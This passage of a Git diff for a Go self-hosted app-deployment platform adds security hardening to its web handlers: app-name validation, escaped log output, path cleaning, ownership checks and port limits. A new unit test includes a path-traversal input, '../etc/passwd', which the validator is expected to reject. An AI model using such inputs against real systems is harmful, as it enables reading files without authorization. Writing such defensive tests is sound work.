require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
|
||||||
|
|
||||||
|
appID, ok := created["id"].(string)
|
||||||
|
require.True(t, ok)
|
||||||
|
|
||||||
|
rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID+"/deployments", "")
|
||||||
|
assert.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
var deployments []any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &deployments))
|
||||||
|
assert.Empty(t, deployments)
|
||||||
|
}
|
||||||
@@ -4,6 +4,9 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"html"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
@@ -32,11 +35,7 @@ func (h *Handlers) HandleAppNew() http.HandlerFunc {
|
|||||||
return func(writer http.ResponseWriter, request *http.Request) {
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
data := h.addGlobals(map[string]any{}, request)
|
data := h.addGlobals(map[string]any{}, request)
|
||||||
|
|
||||||
err := tmpl.ExecuteTemplate(writer, "app_new.html", data)
|
h.renderTemplate(writer, tmpl, "app_new.html", data)
|
||||||
if err != nil {
|
|
||||||
h.log.Error("template execution failed", "error", err)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -66,6 +65,14 @@ func (h *Handlers) HandleAppCreate() http.HandlerFunc {
|
|||||||
|
|
||||||
if name == "" || repoURL == "" {
|
if name == "" || repoURL == "" {
|
||||||
data["Error"] = "Name and repository URL are required"
|
data["Error"] = "Name and repository URL are required"
|
||||||
|
h.renderTemplate(writer, tmpl, "app_new.html", data)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
nameErr := validateAppName(name)
|
||||||
|
if nameErr != nil {
|
||||||
|
data["Error"] = "Invalid app name: " + nameErr.Error()
|
||||||
_ = tmpl.ExecuteTemplate(writer, "app_new.html", data)
|
_ = tmpl.ExecuteTemplate(writer, "app_new.html", data)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -91,7 +98,7 @@ func (h *Handlers) HandleAppCreate() http.HandlerFunc {
|
|||||||
if createErr != nil {
|
if createErr != nil {
|
||||||
h.log.Error("failed to create app", "error", createErr)
|
h.log.Error("failed to create app", "error", createErr)
|
||||||
data["Error"] = "Failed to create app: " + createErr.Error()
|
data["Error"] = "Failed to create app: " + createErr.Error()
|
||||||
_ = tmpl.ExecuteTemplate(writer, "app_new.html", data)
|
h.renderTemplate(writer, tmpl, "app_new.html", data)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -152,11 +159,7 @@ func (h *Handlers) HandleAppDetail() http.HandlerFunc {
|
|||||||
"Success": request.URL.Query().Get("success"),
|
"Success": request.URL.Query().Get("success"),
|
||||||
}, request)
|
}, request)
|
||||||
|
|
||||||
err := tmpl.ExecuteTemplate(writer, "app_detail.html", data)
|
h.renderTemplate(writer, tmpl, "app_detail.html", data)
|
||||||
if err != nil {
|
|
||||||
h.log.Error("template execution failed", "error", err)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -185,11 +188,7 @@ func (h *Handlers) HandleAppEdit() http.HandlerFunc {
|
|||||||
"App": application,
|
"App": application,
|
||||||
}, request)
|
}, request)
|
||||||
|
|
||||||
err := tmpl.ExecuteTemplate(writer, "app_edit.html", data)
|
h.renderTemplate(writer, tmpl, "app_edit.html", data)
|
||||||
if err != nil {
|
|
||||||
h.log.Error("template execution failed", "error", err)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -214,7 +213,20 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
application.Name = request.FormValue("name")
|
newName := request.FormValue("name")
|
||||||
|
|
||||||
|
nameErr := validateAppName(newName)
|
||||||
|
if nameErr != nil {
|
||||||
|
data := h.addGlobals(map[string]any{
|
||||||
|
"App": application,
|
||||||
|
"Error": "Invalid app name: " + nameErr.Error(),
|
||||||
|
}, request)
|
||||||
|
_ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
application.Name = newName
|
||||||
application.RepoURL = request.FormValue("repo_url")
|
application.RepoURL = request.FormValue("repo_url")
|
||||||
application.Branch = request.FormValue("branch")
|
application.Branch = request.FormValue("branch")
|
||||||
application.DockerfilePath = request.FormValue("dockerfile_path")
|
application.DockerfilePath = request.FormValue("dockerfile_path")
|
||||||
@@ -245,7 +257,7 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc {
|
|||||||
"App": application,
|
"App": application,
|
||||||
"Error": "Failed to update app",
|
"Error": "Failed to update app",
|
||||||
}, request)
|
}, request)
|
||||||
_ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)
|
h.renderTemplate(writer, tmpl, "app_edit.html", data)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -255,6 +267,33 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// cleanupContainer stops and removes the Docker container for the given app.
|
||||||
|
func (h *Handlers) cleanupContainer(ctx context.Context, appID, appName string) {
|
||||||
|
containerInfo, containerErr := h.docker.FindContainerByAppID(ctx, appID)
|
||||||
|
if containerErr != nil || containerInfo == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if containerInfo.Running {
|
||||||
|
stopErr := h.docker.StopContainer(ctx, containerInfo.ID)
|
||||||
|
if stopErr != nil {
|
||||||
|
h.log.Error("failed to stop container during app deletion",
|
||||||
|
"error", stopErr, "app", appName,
|
||||||
|
"container", containerInfo.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
removeErr := h.docker.RemoveContainer(ctx, containerInfo.ID, true)
|
||||||
|
if removeErr != nil {
|
||||||
|
h.log.Error("failed to remove container during app deletion",
|
||||||
|
"error", removeErr, "app", appName,
|
||||||
|
"container", containerInfo.ID)
|
||||||
|
} else {
|
||||||
|
h.log.Info("removed container during app deletion",
|
||||||
|
"app", appName, "container", containerInfo.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// HandleAppDelete handles app deletion.
|
// HandleAppDelete handles app deletion.
|
||||||
func (h *Handlers) HandleAppDelete() http.HandlerFunc {
|
func (h *Handlers) HandleAppDelete() http.HandlerFunc {
|
||||||
return func(writer http.ResponseWriter, request *http.Request) {
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
@@ -268,27 +307,7 @@ func (h *Handlers) HandleAppDelete() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Stop and remove the Docker container before deleting the DB record
|
// Stop and remove the Docker container before deleting the DB record
|
||||||
containerInfo, containerErr := h.docker.FindContainerByAppID(request.Context(), appID)
|
h.cleanupContainer(request.Context(), appID, application.Name)
|
||||||
if containerErr == nil && containerInfo != nil {
|
|
||||||
if containerInfo.Running {
|
|
||||||
stopErr := h.docker.StopContainer(request.Context(), containerInfo.ID)
|
|
||||||
if stopErr != nil {
|
|
||||||
h.log.Error("failed to stop container during app deletion",
|
|
||||||
"error", stopErr, "app", application.Name,
|
|
||||||
"container", containerInfo.ID)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
removeErr := h.docker.RemoveContainer(request.Context(), containerInfo.ID, true)
|
|
||||||
if removeErr != nil {
|
|
||||||
h.log.Error("failed to remove container during app deletion",
|
|
||||||
"error", removeErr, "app", application.Name,
|
|
||||||
"container", containerInfo.ID)
|
|
||||||
} else {
|
|
||||||
h.log.Info("removed container during app deletion",
|
|
||||||
"app", application.Name, "container", containerInfo.ID)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
deleteErr := application.Delete(request.Context())
|
deleteErr := application.Delete(request.Context())
|
||||||
if deleteErr != nil {
|
if deleteErr != nil {
|
||||||
@@ -319,7 +338,7 @@ func (h *Handlers) HandleAppDeploy() http.HandlerFunc {
|
|||||||
deployCtx := context.WithoutCancel(request.Context())
|
deployCtx := context.WithoutCancel(request.Context())
|
||||||
|
|
||||||
go func(ctx context.Context, appToDeploy *models.App) {
|
go func(ctx context.Context, appToDeploy *models.App) {
|
||||||
deployErr := h.deploy.Deploy(ctx, appToDeploy, nil)
|
deployErr := h.deploy.Deploy(ctx, appToDeploy, nil, false)
|
||||||
if deployErr != nil {
|
if deployErr != nil {
|
||||||
h.log.Error(
|
h.log.Error(
|
||||||
"deployment failed",
|
"deployment failed",
|
||||||
@@ -338,6 +357,56 @@ func (h *Handlers) HandleAppDeploy() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// HandleCancelDeploy cancels an in-progress deployment for an app.
|
||||||
|
func (h *Handlers) HandleCancelDeploy() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
|
||||||
|
application, findErr := models.FindApp(request.Context(), h.db, appID)
|
||||||
|
if findErr != nil || application == nil {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cancelled := h.deploy.CancelDeploy(application.ID)
|
||||||
|
if cancelled {
|
||||||
|
h.log.Info("deployment cancelled by user", "app", application.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
http.Redirect(
|
||||||
|
writer,
|
||||||
|
request,
|
||||||
|
"/apps/"+application.ID,
|
||||||
|
http.StatusSeeOther,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAppRollback handles rolling back to the previous deployment image.
|
||||||
|
func (h *Handlers) HandleAppRollback() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
|
||||||
|
application, findErr := models.FindApp(request.Context(), h.db, appID)
|
||||||
|
if findErr != nil || application == nil {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rollbackErr := h.deploy.Rollback(request.Context(), application)
|
||||||
|
if rollbackErr != nil {
|
||||||
|
h.log.Error("rollback failed", "error", rollbackErr, "app", application.Name)
|
||||||
|
http.Redirect(writer, request, "/apps/"+application.ID, http.StatusSeeOther)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
http.Redirect(writer, request, "/apps/"+application.ID+"?success=rolledback", http.StatusSeeOther)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// HandleAppDeployments returns the deployments history handler.
|
// HandleAppDeployments returns the deployments history handler.
|
||||||
func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
|
func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
|
||||||
tmpl := templates.GetParsed()
|
tmpl := templates.GetParsed()
|
||||||
@@ -362,16 +431,34 @@ func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
|
|||||||
"Deployments": deployments,
|
"Deployments": deployments,
|
||||||
}, request)
|
}, request)
|
||||||
|
|
||||||
err := tmpl.ExecuteTemplate(writer, "deployments.html", data)
|
h.renderTemplate(writer, tmpl, "deployments.html", data)
|
||||||
if err != nil {
|
|
||||||
h.log.Error("template execution failed", "error", err)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// defaultLogTail is the default number of log lines to fetch.
|
// DefaultLogTail is the default number of log lines to fetch.
|
||||||
const defaultLogTail = "500"
|
const DefaultLogTail = "500"
|
||||||
|
|
||||||
|
// maxLogTail is the maximum allowed value for the tail parameter.
|
||||||
|
const maxLogTail = 500
|
||||||
|
|
||||||
|
// SanitizeTail validates and clamps the tail query parameter.
|
||||||
|
// It returns a numeric string clamped to maxLogTail, or the default if invalid.
|
||||||
|
func SanitizeTail(raw string) string {
|
||||||
|
if raw == "" {
|
||||||
|
return DefaultLogTail
|
||||||
|
}
|
||||||
|
|
||||||
|
n, err := strconv.Atoi(raw)
|
||||||
|
if err != nil || n < 1 {
|
||||||
|
return DefaultLogTail
|
||||||
|
}
|
||||||
|
|
||||||
|
if n > maxLogTail {
|
||||||
|
n = maxLogTail
|
||||||
|
}
|
||||||
|
|
||||||
|
return strconv.Itoa(n)
|
||||||
|
}
|
||||||
|
|
||||||
// HandleAppLogs returns the container logs handler.
|
// HandleAppLogs returns the container logs handler.
|
||||||
func (h *Handlers) HandleAppLogs() http.HandlerFunc {
|
func (h *Handlers) HandleAppLogs() http.HandlerFunc {
|
||||||
@@ -394,10 +481,7 @@ func (h *Handlers) HandleAppLogs() http.HandlerFunc {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
tail := request.URL.Query().Get("tail")
|
tail := SanitizeTail(request.URL.Query().Get("tail"))
|
||||||
if tail == "" {
|
|
||||||
tail = defaultLogTail
|
|
||||||
}
|
|
||||||
|
|
||||||
logs, logsErr := h.docker.ContainerLogs(
|
logs, logsErr := h.docker.ContainerLogs(
|
||||||
request.Context(),
|
request.Context(),
|
||||||
@@ -416,7 +500,7 @@ func (h *Handlers) HandleAppLogs() http.HandlerFunc {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_, _ = writer.Write([]byte(logs))
|
_, _ = writer.Write([]byte(html.EscapeString(logs)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -499,6 +583,8 @@ func (h *Handlers) HandleDeploymentLogDownload() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Check if file exists
|
// Check if file exists
|
||||||
|
logPath = filepath.Clean(logPath)
|
||||||
|
|
||||||
_, err := os.Stat(logPath)
|
_, err := os.Stat(logPath)
|
||||||
if os.IsNotExist(err) {
|
if os.IsNotExist(err) {
|
||||||
http.NotFound(writer, request)
|
http.NotFound(writer, request)
|
||||||
@@ -824,7 +910,7 @@ func (h *Handlers) HandleEnvVarDelete() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
|
envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
|
||||||
if findErr != nil || envVar == nil {
|
if findErr != nil || envVar == nil || envVar.AppID != appID {
|
||||||
http.NotFound(writer, request)
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -871,7 +957,7 @@ func (h *Handlers) HandleLabelDelete() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
label, findErr := models.FindLabel(request.Context(), h.db, labelID)
|
label, findErr := models.FindLabel(request.Context(), h.db, labelID)
|
||||||
if findErr != nil || label == nil {
|
if findErr != nil || label == nil || label.AppID != appID {
|
||||||
http.NotFound(writer, request)
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -949,7 +1035,7 @@ func (h *Handlers) HandleVolumeDelete() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
|
volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
|
||||||
if findErr != nil || volume == nil {
|
if findErr != nil || volume == nil || volume.AppID != appID {
|
||||||
http.NotFound(writer, request)
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -1018,7 +1104,12 @@ func parsePortValues(hostPortStr, containerPortStr string) (int, int, bool) {
|
|||||||
hostPort, hostErr := strconv.Atoi(hostPortStr)
|
hostPort, hostErr := strconv.Atoi(hostPortStr)
|
||||||
containerPort, containerErr := strconv.Atoi(containerPortStr)
|
containerPort, containerErr := strconv.Atoi(containerPortStr)
|
||||||
|
|
||||||
if hostErr != nil || containerErr != nil || hostPort <= 0 || containerPort <= 0 {
|
const maxPort = 65535
|
||||||
|
|
||||||
|
invalid := hostErr != nil || containerErr != nil ||
|
||||||
|
hostPort <= 0 || containerPort <= 0 ||
|
||||||
|
hostPort > maxPort || containerPort > maxPort
|
||||||
|
if invalid {
|
||||||
return 0, 0, false
|
return 0, 0, false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1039,7 +1130,7 @@ func (h *Handlers) HandlePortDelete() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
port, findErr := models.FindPort(request.Context(), h.db, portID)
|
port, findErr := models.FindPort(request.Context(), h.db, portID)
|
||||||
if findErr != nil || port == nil {
|
if findErr != nil || port == nil || port.AppID != appID {
|
||||||
http.NotFound(writer, request)
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -1054,6 +1145,207 @@ func (h *Handlers) HandlePortDelete() http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ErrVolumePathEmpty is returned when a volume path is empty.
|
||||||
|
var ErrVolumePathEmpty = errors.New("path must not be empty")
|
||||||
|
|
||||||
|
// ErrVolumePathNotAbsolute is returned when a volume path is not absolute.
|
||||||
|
var ErrVolumePathNotAbsolute = errors.New("path must be absolute")
|
||||||
|
|
||||||
|
// ErrVolumePathNotClean is returned when a volume path is not clean.
|
||||||
|
var ErrVolumePathNotClean = errors.New("path must be clean")
|
||||||
|
|
||||||
|
// ValidateVolumePath checks that a path is absolute and clean.
|
||||||
|
func ValidateVolumePath(p string) error {
|
||||||
|
if p == "" {
|
||||||
|
return ErrVolumePathEmpty
|
||||||
|
}
|
||||||
|
|
||||||
|
if !filepath.IsAbs(p) {
|
||||||
|
return ErrVolumePathNotAbsolute
|
||||||
|
}
|
||||||
|
|
||||||
|
cleaned := filepath.Clean(p)
|
||||||
|
if cleaned != p {
|
||||||
|
return fmt.Errorf("%w (expected %q)", ErrVolumePathNotClean, cleaned)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleEnvVarEdit handles editing an existing environment variable.
|
||||||
|
func (h *Handlers) HandleEnvVarEdit() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
envVarIDStr := chi.URLParam(request, "varID")
|
||||||
|
|
||||||
|
envVarID, parseErr := strconv.ParseInt(envVarIDStr, 10, 64)
|
||||||
|
if parseErr != nil {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
|
||||||
|
if findErr != nil || envVar == nil || envVar.AppID != appID {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
formErr := request.ParseForm()
|
||||||
|
if formErr != nil {
|
||||||
|
http.Error(writer, "Bad Request", http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
key := request.FormValue("key")
|
||||||
|
value := request.FormValue("value")
|
||||||
|
|
||||||
|
if key == "" || value == "" {
|
||||||
|
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
envVar.Key = key
|
||||||
|
envVar.Value = value
|
||||||
|
|
||||||
|
saveErr := envVar.Save(request.Context())
|
||||||
|
if saveErr != nil {
|
||||||
|
h.log.Error("failed to update env var", "error", saveErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
http.Redirect(
|
||||||
|
writer,
|
||||||
|
request,
|
||||||
|
"/apps/"+appID+"?success=env-updated",
|
||||||
|
http.StatusSeeOther,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleLabelEdit handles editing an existing label.
|
||||||
|
func (h *Handlers) HandleLabelEdit() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
labelIDStr := chi.URLParam(request, "labelID")
|
||||||
|
|
||||||
|
labelID, parseErr := strconv.ParseInt(labelIDStr, 10, 64)
|
||||||
|
if parseErr != nil {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
label, findErr := models.FindLabel(request.Context(), h.db, labelID)
|
||||||
|
if findErr != nil || label == nil || label.AppID != appID {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
formErr := request.ParseForm()
|
||||||
|
if formErr != nil {
|
||||||
|
http.Error(writer, "Bad Request", http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
key := request.FormValue("key")
|
||||||
|
value := request.FormValue("value")
|
||||||
|
|
||||||
|
if key == "" || value == "" {
|
||||||
|
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
label.Key = key
|
||||||
|
label.Value = value
|
||||||
|
|
||||||
|
saveErr := label.Save(request.Context())
|
||||||
|
if saveErr != nil {
|
||||||
|
h.log.Error("failed to update label", "error", saveErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleVolumeEdit handles editing an existing volume mount.
|
||||||
|
func (h *Handlers) HandleVolumeEdit() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
volumeIDStr := chi.URLParam(request, "volumeID")
|
||||||
|
|
||||||
|
volumeID, parseErr := strconv.ParseInt(volumeIDStr, 10, 64)
|
||||||
|
if parseErr != nil {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
|
||||||
|
if findErr != nil || volume == nil || volume.AppID != appID {
|
||||||
|
http.NotFound(writer, request)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
formErr := request.ParseForm()
|
||||||
|
if formErr != nil {
|
||||||
|
http.Error(writer, "Bad Request", http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hostPath := request.FormValue("host_path")
|
||||||
|
containerPath := request.FormValue("container_path")
|
||||||
|
readOnly := request.FormValue("readonly") == "1"
|
||||||
|
|
||||||
|
if hostPath == "" || containerPath == "" {
|
||||||
|
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pathErr := validateVolumePaths(hostPath, containerPath)
|
||||||
|
if pathErr != nil {
|
||||||
|
h.log.Error("invalid volume path", "error", pathErr)
|
||||||
|
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
volume.HostPath = hostPath
|
||||||
|
volume.ContainerPath = containerPath
|
||||||
|
volume.ReadOnly = readOnly
|
||||||
|
|
||||||
|
saveErr := volume.Save(request.Context())
|
||||||
|
if saveErr != nil {
|
||||||
|
h.log.Error("failed to update volume", "error", saveErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateVolumePaths validates both host and container paths for a volume.
|
||||||
|
func validateVolumePaths(hostPath, containerPath string) error {
|
||||||
|
hostErr := ValidateVolumePath(hostPath)
|
||||||
|
if hostErr != nil {
|
||||||
|
return fmt.Errorf("host path: %w", hostErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
containerErr := ValidateVolumePath(containerPath)
|
||||||
|
if containerErr != nil {
|
||||||
|
return fmt.Errorf("container path: %w", containerErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// formatDeployKey formats an SSH public key with a descriptive comment.
|
// formatDeployKey formats an SSH public key with a descriptive comment.
|
||||||
// Format: ssh-ed25519 AAAA... upaas_2025-01-15_myapp
|
// Format: ssh-ed25519 AAAA... upaas_2025-01-15_myapp
|
||||||
func formatDeployKey(pubKey string, createdAt time.Time, appName string) string {
|
func formatDeployKey(pubKey string, createdAt time.Time, appName string) string {
|
||||||
|
|||||||
44
internal/handlers/app_name_validation.go
Normal file
44
internal/handlers/app_name_validation.go
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// appNameMinLength is the minimum allowed length for an app name.
|
||||||
|
appNameMinLength = 2
|
||||||
|
// appNameMaxLength is the maximum allowed length for an app name.
|
||||||
|
appNameMaxLength = 63
|
||||||
|
)
|
||||||
|
|
||||||
|
// validAppNameRe matches names containing only lowercase alphanumeric characters and
|
||||||
|
// hyphens, starting and ending with an alphanumeric character.
|
||||||
|
var validAppNameRe = regexp.MustCompile(`^[a-z0-9][a-z0-9-]*[a-z0-9]$`)
|
||||||
|
|
||||||
|
// validateAppName checks that the given app name is safe for use in Docker
|
||||||
|
// container names, image tags, and file system paths.
|
||||||
|
var (
|
||||||
|
errAppNameLength = errors.New(
|
||||||
|
"app name must be between " +
|
||||||
|
strconv.Itoa(appNameMinLength) + " and " +
|
||||||
|
strconv.Itoa(appNameMaxLength) + " characters",
|
||||||
|
)
|
||||||
|
errAppNamePattern = errors.New(
|
||||||
|
"app name must contain only lowercase letters, numbers, " +
|
||||||
|
"and hyphens, and must start and end with a letter or number",
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
func validateAppName(name string) error {
|
||||||
|
if len(name) < appNameMinLength || len(name) > appNameMaxLength {
|
||||||
|
return errAppNameLength
|
||||||
|
}
|
||||||
|
|
||||||
|
if !validAppNameRe.MatchString(name) {
|
||||||
|
return errAppNamePattern
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
48
internal/handlers/app_name_validation_test.go
Normal file
48
internal/handlers/app_name_validation_test.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
package handlers //nolint:testpackage // testing unexported validateAppName
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestValidateAppName(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
input string
|
||||||
|
wantErr bool
|
||||||
|
}{
|
||||||
|
{"valid simple", "myapp", false},
|
||||||
|
{"valid with hyphen", "my-app", false},
|
||||||
|
{"valid with numbers", "app123", false},
|
||||||
|
{"valid two chars", "ab", false},
|
||||||
|
{"valid complex", "my-cool-app-v2", false},
|
||||||
|
{"valid all numbers", "123", false},
|
||||||
|
{"empty", "", true},
|
||||||
|
{"single char", "a", true},
|
||||||
|
{"too long", "a" + string(make([]byte, 63)), true},
|
||||||
|
{"exactly 63 chars", "a23456789012345678901234567890123456789012345678901234567890123", false},
|
||||||
|
{"64 chars", "a234567890123456789012345678901234567890123456789012345678901234", true},
|
||||||
|
{"uppercase", "MyApp", true},
|
||||||
|
{"spaces", "my app", true},
|
||||||
|
{"starts with hyphen", "-myapp", true},
|
||||||
|
{"ends with hyphen", "myapp-", true},
|
||||||
|
{"underscore", "my_app", true},
|
||||||
|
{"dot", "my.app", true},
|
||||||
|
{"slash", "my/app", true},
|
||||||
|
{"path traversal", "../etc/passwd", true},
|
||||||
|
{"special chars", "app@name!", true},
|
||||||
|
{"unicode", "appñame", true},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
err := validateAppName(tt.input)
|
||||||
|
if (err != nil) != tt.wantErr {
|
||||||
|
t.Errorf("validateAppName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -13,11 +13,7 @@ func (h *Handlers) HandleLoginGET() http.HandlerFunc {
|
|||||||
return func(writer http.ResponseWriter, request *http.Request) {
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
data := h.addGlobals(map[string]any{}, request)
|
data := h.addGlobals(map[string]any{}, request)
|
||||||
|
|
||||||
err := tmpl.ExecuteTemplate(writer, "login.html", data)
|
h.renderTemplate(writer, tmpl, "login.html", data)
|
||||||
if err != nil {
